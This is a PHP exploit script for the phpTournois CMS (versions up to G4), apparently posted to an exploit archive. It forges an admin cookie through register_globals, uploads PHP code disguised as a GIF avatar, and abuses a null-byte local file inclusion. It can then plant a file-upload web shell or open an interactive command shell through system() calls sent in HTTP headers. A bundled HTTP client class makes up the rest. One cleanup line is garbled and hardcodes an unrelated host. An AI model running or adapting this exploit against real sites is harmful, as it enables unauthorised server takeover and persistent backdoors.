phpTournois <= G4 Remote File Upload/Code Execution Exploit

<?php
/*

• Name: phpTournois <= G4 Remote File Upload/Code Execution Exploit
• Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
• Date: 04-06-08
• -> Remote Code Execution
• -> Remote File Upload
• When testing if we are admin, phpTournois checks if $grade['a']=='a'.
• But when we are not loggued in, this var is not defined.
• So, using register_globals, we can define it and let the CMS think we
• are authentificated.
• Using configuration zone and avatar upload, we can do a LFI, and then
• everything is possible.

*/

print "\n";
print " phpTournois <= G4 Remote File Upload/Code Execution Exploit\n";
print " by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";

if($argc<3)
{
print "usage: php phptn_exploit.php -url <url> [options]\n\n";
print " Options: -mode 0 -> Remote Upload (default)\n";
print " 1 -> Remote Code Execution\n";
print " -proxy If you want to use a proxy.\n";
exit();
}

$url = getparam("url",1);
$mode = getparam("mode") ? getparam("mode"): 0;
$prx = getparam("proxy");

$xpl = new phpsploit();
if($prx) $xpl->proxy($prx);
$xpl->addcookie("grade[a]","a");

/* Code in the fake avatar /
if($mode==0) / upload code /
{
$file_upload_code = '<?php if(isset($_POST[\'d\'])) unlink(FILE); ?><?php if(isset($_POST[\'upload\'])) { if( !move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "./".$_FILES[\'file\'][\'name\'])) echo("<center>Error ".$_FILES[\'file\'][\'error\']."</center>");else echo "<center>File uploaded</center>"; } ?><form method="post" enctype="multipart/form-data"><center><input type="file" name="file"><input type="submit" name="upload" value="Upload"><input type="submit" name="d" value="x"></center></form><br><form method="get"></form>';
$c0de = '<?php'."\n"
.'error_reporting(0);'
."if(isset(\$_SERVER['HTTP_UPLOAD'])) { \$f=fopen('w00t.php','w');fputs(\$f,'".preg_replace("#'#i","\\'",$file_upload_code)."');print 'upfiledone'; }\n"
.'include("include/files/accueil.php"); ?>';
}
else / shell code */
{
$c0de = '<?php'."\n"
.'error_reporting(0);'
.'if(isset($_SERVER[HTTP_SHELL]))'
.'{print 123456789;eval($_SERVER[HTTP_SHELL]);exit(123456789);}'
.'include("include/files/accueil.php"); ?>';
}

/* Upload avatar with PHP c0de */
print " * uploading avatar\t";

$avatar = array(frmdt_url => $url.'?page=avatars&op=modify',
'avatar' => array(frmdt_filename => '1.gif',frmdt_type => 'image/gif',frmdt_content => $c0de),
'id' => 1,
'mode' => 'J',
'avatarurl' => '',
'avatarremoteurl' => '',
'MAX_FILE_SIZE' => 999999,
);

if(preg_match("#location.href='\?page=avatars&id=\d+&mode=J'#i",$xpl->formdata($avatar))) print "done\n";
else die("error\n");

if(preg_match('#<span style="float: right;" ><img src="([^"]+)#i',$xpl->get($url.'?page=joueurs&id=1'),$match)) $img = $match[1];
else die(" * can't find image name\n");

/* Change homepage to our avatar, with a null byte, after saving website name. */
print " * changing homepage\t";
preg_match('#name=nomsite value="([^ ]+)"#i',$xpl->get($url.'?page=configuration&op=admin'),$all);
$postdata = "nomsite=$all[1]&urlsite=$url&logo=logo.gif&pagestart=…/.$img%00&inscription_joueur=1&inscription_equipe=1&places=200&emailcontact=&emailinscription=&langue=english&theme=phptournois&gzip=1&poulewin=3&poulenull=2&pouleloose=1&poulefor=0&information=&reglement=&decharge=&shoutbox=1&shoutlimit=20&shoutboxc=255&news=1&ladder=1&messagerie=1&support=0&faq=1&serveur=1&download=1&liens=1&galerie=1&livredor=1&sponsors=0&partenaires=1&forum=1&contact=1&horloge=1&commande=1&avatar=A&avatar_upload=1&avatar_remote=1&avatar_gallerie=0&avatar_filesize_max=100000&avatar_x_max=80&avatar_y_max=80&irc=1&ircserver=euroserv.fr.quakenet.org&ircport=6667&ircpassword=&ircchannels=%23phptournois+%23lan+%23lan.cs+%23lan.q3&mail=N&smtpserver=&smtpuser=&smtppassword=";
$xpl->post($url.'?page=configuration&op=modify',$postdata);
print "done\n";

$success = true;

if($mode==0) /* upload mode /
{
print " * loading uploader\t";
$xpl->addheader("upload","1");
if(preg_match("#upfiledone#i",$xpl->get($url))) print "done\n";
else {$success=false;print "error\n";}
}
else / shell mode */
{
print "\n\$shell> ";
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
$xpl->reset('header');
$xpl->addheader('Shell',"system('$cmd');");
$xpl->get($url);
$data = explode('123456789',$xpl->getcontent());
print $data[1]."\n\$shell> ";
}
}

/* Reinitialize website name and homepage and erase user avatar */
print " * repairing homepage\t";
$xpl->get('http://myannu.fr/?page=avatars&amp;op=delete&amp;id=1&amp;mode=J&#39;&#41;;
$postdata = "nomsite=$all[1]&urlsite=$url&logo=logo.gif&pagestart=accueil&inscription_equipe=1&places=200&emailcontact=&emailinscription=&langue=english&theme=phptournois&gzip=1&poulewin=3&poulenull=2&pouleloose=1&poulefor=0&information=&reglement=&decharge=&shoutbox=1&shoutlimit=20&shoutboxc=255&news=1&ladder=1&messagerie=1&support=0&faq=1&serveur=1&download=1&liens=1&galerie=1&livredor=1&sponsors=0&partenaires=1&forum=1&contact=1&horloge=1&commande=1&avatar=A&avatar_upload=1&avatar_remote=1&avatar_gallerie=0&avatar_filesize_max=100000&avatar_x_max=80&avatar_y_max=80&irc=1&ircserver=euroserv.fr.quakenet.org&ircport=6667&ircpassword=&ircchannels=%23phptournois+%23lan+%23lan.cs+%23lan.q3&mail=N&smtpserver=&smtpuser=&smtppassword=";
$xpl->post($url.'?page=configuration&op=modify',$postdata);
print "done\n";

if($success) print "\n * uploader: ".$url."w00t.php\n";

function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param) return $argv[$value+1];
}
if($opt) exit("\n-$param parameter required");
else return;
}

/*
*

• Copyright (C) darkfig
• This program is free software; you can redistribute it and/or
• modify it under the terms of the GNU General Public License
• as published by the Free Software Foundation; either version 2
• of the License, or (at your option) any later version.
• This program is distributed in the hope that it will be useful,
• but WITHOUT ANY WARRANTY; without even the implied warranty of
• MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
• GNU General Public License for more details.
• You should have received a copy of the GNU General Public License
• along with this program; if not, write to the Free Software
• Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
• TITLE: PhpSploit Class
• REQUIREMENTS: PHP 5 (remove "private", "public" if you have PHP 4)
• VERSION: 1.2
• LICENSE: GNU General Public License
• ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
• FILENAME: phpsploitclass.php
• CONTACT: [email protected] (french / english)
• GREETZ: Sparah, Ddx39
• DESCRIPTION:
• The phpsploit is a class implementing a web user agent.
• You can add cookies, headers, use a proxy server with (or without) a
• basic authentification. It supports the GET and the POST method. It can
• also be used like a browser with the cookiejar() function (which allow
• a server to add several cookies for the next requests) and the
• allowredirection() function (which allow the script to follow all
• redirections sent by the server). It can return the content (or the
• headers) of the request. Others useful functions can be used for debugging.
• A manual is actually in development but to know how to use it, you can
• read the comments.
• CHANGELOG:
• [2007-01-24] (1.2)
• • Bug #2 fixed: Problem concerning the getcookie() function ((|;))
• • New: multipart/form-data enctype is now supported
• [2006-12-31] (1.1)
• • Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
• • New: You can now call the getheader() / getcontent() function without parameters
• [2006-12-30] (1.0)
• • First version

*/

class phpsploit {

/**
 * This function is called by the get()/post() functions.
 * You don't have to call it, this is the main function.
 *
 * @return $server_response
 */
private function sock()
{
	if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
	else $socket = fsockopen($this->host,$this->port);
	
	if(!$socket) die("Error: The host doesn't exist");
	
	if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
	elseif($this->method==="post" or $this->method==="formdata") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
	else die("Error: Invalid method");
	
	if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
	$this->packet .= "Host: ".$this->host."\r\n";
	
	if(!empty($this->agent))  $this->packet .= "User-Agent: ".$this->agent."\r\n";
	if(!empty($this->header)) $this->packet .= $this->header."\r\n";
	if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
	
	$this->packet .= "Connection: Close\r\n";
	if($this->method==="post")
	{
		$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
		$this->packet .= $this->data."\r\n";
	}
	elseif($this->method==="formdata")
	{
		$this->packet .= "Content-Type: multipart/form-data; boundary=---------------------------".$this->boundary."\r\n";
		$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
		$this->packet .= $this->data;
	}
	$this->packet .= "\r\n";
	$this->recv = '';
	
	fputs($socket,$this->packet);
	while(!feof($socket)) $this->recv .= fgets($socket);
	fclose($socket);
	
	if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
	if($this->allowredirection) return $this->allowredirection($this->recv);
	else return $this->recv;
}


/**
 * This function allows you to add several cookie in the
 * request. Several methods are supported:
 * 
 * $this->addcookie("name","value");
 * or
 * $this->addcookie("name=newvalue");
 * or
 * $this->addcookie("othername=overvalue; xx=zz; y=u");
 * 
 * @param string $cookiename
 * @param string $cookievalue
 * 
 */
public function addcookie($cookn,$cookv='')
{
	// $this->addcookie("name","value"); work avec replace
	if(!empty($cookv))
	{
		if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
		if(!empty($this->cookie))
		{
		    if(preg_match("/$cookn=/",$this->cookie))
		    {
		    	$this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
		    }
		    else
		    {
		    	$this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
		    }
		}
		else
		{
			$this->cookie = $cookn."=".$cookv.";";
		}
	}
	// $this->addcookie("name=value; othername=othervalue");
	else
	{
    	 if(!empty($this->cookie))
    	 {
    	 	$cookn = preg_replace("/(.*);$/","$1",$cookn);
    	 	$cookarr = explode(";",str_replace(" ", "",$cookn));
    	 	for($i=0;$i<count($cookarr);$i++)
    	 	{
    	 		preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
    	 		$cookn = $matches[1];
    	 		$cookv = $matches[2];
    	 		$this->addcookie($cookn,$cookv);
    	 	}
    	 }
		 else
		 {
		 	$cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
		 	$this->cookie = $cookn;			
		 }
	}
}


/**
 * This function allows you to add several headers in the
 * request. Several methods are supported:
 *
 * $this->addheader("headername","headervalue");
 * or
 * $this->addheader("headername: headervalue");
 *
 * @param string $headername
 * @param string $headervalue
 */
public function addheader($headern,$headervalue='')
{
	// $this->addheader("name","value");
	if(!empty($headervalue))
	{
		if(!empty($this->header))
		{
			if(preg_match("/$headern:/",$this->header))
			{
				$this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
			}
			else
			{
				$this->header .= "\r\n".$headern.": ".$headervalue;
			}
		}
		else
		{
			$this->header=$headern.": ".$headervalue;
		}
	}
	// $this->addheader("name: value");
	else 
	{
		if(!empty($this->header))
		{
			$headarr = explode(": ",$headern);
			$headern = $headarr[0];
			$headerv = $headarr[1];
			$this->addheader($headern,$headerv);
		}
		else
		{
			$this->header=$headern;
		}
	}
}


/**
 * This function allows you to use an http proxy server.
 * Several methods are supported:
 * 
 * $this->proxy("proxyip","8118");
 * or
 * $this->proxy("proxyip:8118")
 *
 * @param string $proxyhost
 * @param integer $proxyport
 */
public function proxy($proxy,$proxyp='')
{
	// $this->proxy("localhost:8118");
	if(empty($proxyp))
	{
		preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
		$proxh = $proxarr[1];
		$proxp = $proxarr[2];
		$this->proxyhost=$proxh;
		$this->proxyport=$proxp;
	}
	// $this->proxy("localhost",8118);
	else 
	{
		$this->proxyhost=$proxy;
		$this->proxyport=intval($proxyp);
	}
	if($this->proxyport > 65535) die("Error: Invalid port number");
}


/**
 * This function allows you to use an http proxy server
 * which requires a basic authentification. Several
 * methods are supported:
 * 
 * $this->proxyauth("darkfig","dapasswd");
 * or
 * $this->proxyauth("darkfig:dapasswd");
 *
 * @param string $proxyuser
 * @param string $proxypass
 */
public function proxyauth($proxyauth,$proxypasse='')
{
	// $this->proxyauth("darkfig:password");
	if(empty($proxypasse))
	{
		preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
		$proxu = $proxautharr[1];
		$proxp = $proxautharr[2];
		$this->proxyuser=$proxu;
		$this->proxypass=$proxp;
	}
	// $this->proxyauth("darkfig","password");
	else
	{
		$this->proxyuser=$proxyauth;
		$this->proxypass=$proxypasse;
	}
}


/**
 * This function allows you to set the "User-Agent" header.
 * Several methods are possible to do that:
 * 
 * $this->agent("Mozilla Firefox");
 * or
 * $this->addheader("User-Agent: Mozilla Firefox");
 * or
 * $this->addheader("User-Agent","Mozilla Firefox");
 * 
 * @param string $useragent
 */
public function agent($useragent)
{
	$this->agent=$useragent;
}


/**
 * This function returns the header which will be
 * in the next request.
 * 
 * $this->showheader();
 *
 * @return $header
 */
public function showheader()
{
	return $this->header;
}


/**
 * This function returns the cookie which will be
 * in the next request.
 * 
 * $this->showcookie();
 *
 * @return $storedcookies
 */
public function showcookie()
{
	return $this->cookie;
}


/**
 * This function returns the last formed
 * http request (the http packet).
 * 
 * $this->showlastrequest();
 * 
 * @return $last_http_request
 */
public function showlastrequest()
{
	return $this->packet;
}


/**
 * This function sends the formed http packet with the
 * GET method. You can precise the port of the host.
 * 
 * $this->get("http://localhost");
 * $this->get("http://localhost:888/xd/tst.php");
 * 
 * @param string $urlwithpath
 * @return $server_response
 */
public function get($url)
{
	$this->target($url);
	$this->method="get";
	return $this->sock();
}


/**
 * This function sends the formed http packet with the
 * POST method. You can precise the port of the host.
 * 
 * $this->post("http://localhost/index.php","admin=1&user=dark");
 *
 * @param string $urlwithpath
 * @param string $postdata
 * @return $server_response
 */	
public function post($url,$data)
{
	$this->target($url);
	$this->method="post";
	$this->data=$data;
	return $this->sock();
}


/**
 * This function sends the formed http packet with the
 * POST method using the multipart/form-data enctype. 
 * 
 * $array = array(
 *          frmdt_url      => "http://localhost/upload.php",
 *          frmdt_boundary => "123456",                    # Optional
 *                 "email" => "[email protected]",
 *               "varname" => array(
 *                            frmdt_type => "image/gif",   # Optional
 *                       frmdt_transfert => "binary",      # Optional
 *                        frmdt_filename => "hello.php",
 *                         frmdt_content => "<?php echo ':)'; ?>"));
 * $this->formdata($array);
 *
 * @param array $array
 * @return $server_response
 */
public function formdata($array)
{
	$this->target($array[frmdt_url]);
	$this->method="formdata";
	$this->data='';
	if(!isset($array[frmdt_boundary])) $this->boundary="phpsploit";
	else $this->boundary=$array[frmdt_boundary];
	foreach($array as $key => $value)
	{
		if(!preg_match("#^frmdt_(boundary|url)#",$key))
		{
			$this->data .= "-----------------------------".$this->boundary."\r\n";
			$this->data .= "Content-Disposition: form-data; name=\"".$key."\";";
			if(!is_array($value))
			{
				$this->data .= "\r\n\r\n".$value."\r\n";
			}
			else
			{
				$this->data .= " filename=\"".$array[$key][frmdt_filename]."\";\r\n";
				if(isset($array[$key][frmdt_type])) $this->data .= "Content-Type: ".$array[$key][frmdt_type]."\r\n";
				if(isset($array[$key][frmdt_transfert])) $this->data .= "Content-Transfer-Encoding: ".$array[$key][frmdt_transfert]."\r\n";
				$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
			}
		}
	}
	$this->data .= "-----------------------------".$this->boundary."--\r\n";
	return $this->sock();
}


/**
 * This function returns the content of the server response
 * without the headers.
 * 
 * $this->getcontent($this->get("http://localhost/"));
 * or
 * $this->getcontent();
 *
 * @param string $server_response
 * @return $onlythecontent
 */
public function getcontent($code='')
{
	if(empty($code)) $code = $this->recv;
	$content = explode("\n",$code);
	$onlycode = '';
	for($i=1;$i<count($content);$i++)
	{
		if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
		if($ok) $onlycode .= $content[$i]."\n";
	}
	return $onlycode;
}


/**
 * This function returns the headers of the server response
 * without the content.
 * 
 * $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
 * or
 * $this->getheader();
 *
 * @param string $server_response
 * @return $onlytheheaders
 */
public function getheader($code='')
{
	if(empty($code)) $code = $this->recv;
	$header = explode("\n",$code);
	$onlyheader = $header[0]."\n";
	for($i=1;$i<count($header);$i++)
	{
		if(!preg_match("/^(\S*):/",$header[$i])) break;
		$onlyheader .= $header[$i]."\n";
	}
	return $onlyheader;
}


/**
 * This function is called by the cookiejar() function.
 * It adds the value of the "Set-Cookie" header in the "Cookie"
 * header for the next request. You don't have to call it.
 * 
 * @param string $server_response
 */
private function getcookie($code)
{
	$carr = explode("\n",str_replace("\r\n","\n",$code));
	for($z=0;$z<count($carr);$z++)
	{
		if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
		{
			$cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
		}
	}

	for($i=0;$i<count($cookie);$i++)
	{
		preg_match("/(\S*)=(\S*)(|;)/",$cookie[$i],$matches);
    	        $cookn = $matches[1];
    	        $cookv = $matches[2];
    	        $this->addcookie($cookn,$cookv);
	}
}


/**
 * This function is called by the get()/post() functions.
 * You don't have to call it.
 *
 * @param string $urltarg
 */
private function target($urltarg)
{
	if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
	$this->url=$urltarg;
	
	$array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
	$this->host=$array[0];

	preg_match("/:(\d+)\//",$urltarg,$matches);
	$this->port=empty($matches[1]) ? 80 : $matches[1];
	
	$temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
	preg_match("/\/(.*)\//",$temp,$matches);
	$this->path=str_replace("//","/","/".$matches[1]."/");

	if($this->port > 65535) die("Error: Invalid port number");
}


/**
 * If you call this function, the script will
 * extract all "Set-Cookie" headers values
 * and it will automatically add them into the "Cookie" header
 * for all next requests.
 *
 * $this->cookiejar(1); // enabled
 * $this->cookiejar(0); // disabled
 * 
 */
public function cookiejar($code)
{
	if($code===0) $this->cookiejar='';
	if($code===1) $this->cookiejar=1;
	else
	{
		$this->getcookie($code);
	}
}


/**
 * If you call this function, the script will
 * follow all redirections sent by the server.
 * 
 * $this->allowredirection(1); // enabled
 * $this->allowredirection(0); // disabled
 * 
 * @return $this->get($locationresponse)
 */
public function allowredirection($code)
{
	if($code===0) $this->allowredirection='';
	if($code===1) $this->allowredirection=1;
	else
	{
		if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
		{
			$location = str_replace(chr(13),'',$codearr[2]);
			if(!eregi("://",$location))
			{
				return $this->get("http://".$this->host.$this->path.$location);
			}
			else
			{
				return $this->get($location);
			}
		}
		else
		{
			return $code;
		}
	}
}


/**
 * This function allows you to reset some parameters:
 * 
 * $this->reset(header); // headers cleaned
 * $this->reset(cookie); // cookies cleaned
 * $this->reset();       // clean all parameters
 *
 * @param string $func
 */
public function reset($func='')
{
	switch($func)
	{
		case "header":
		$this->header='';
		break;
		
		case "cookie":
		$this->cookie='';
		break;
		
		default:
	        $this->cookiejar='';
	        $this->header='';
	        $this->cookie='';
	        $this->allowredirection=''; 
	        $this->agent='';
	        break;
	}
}

}
?>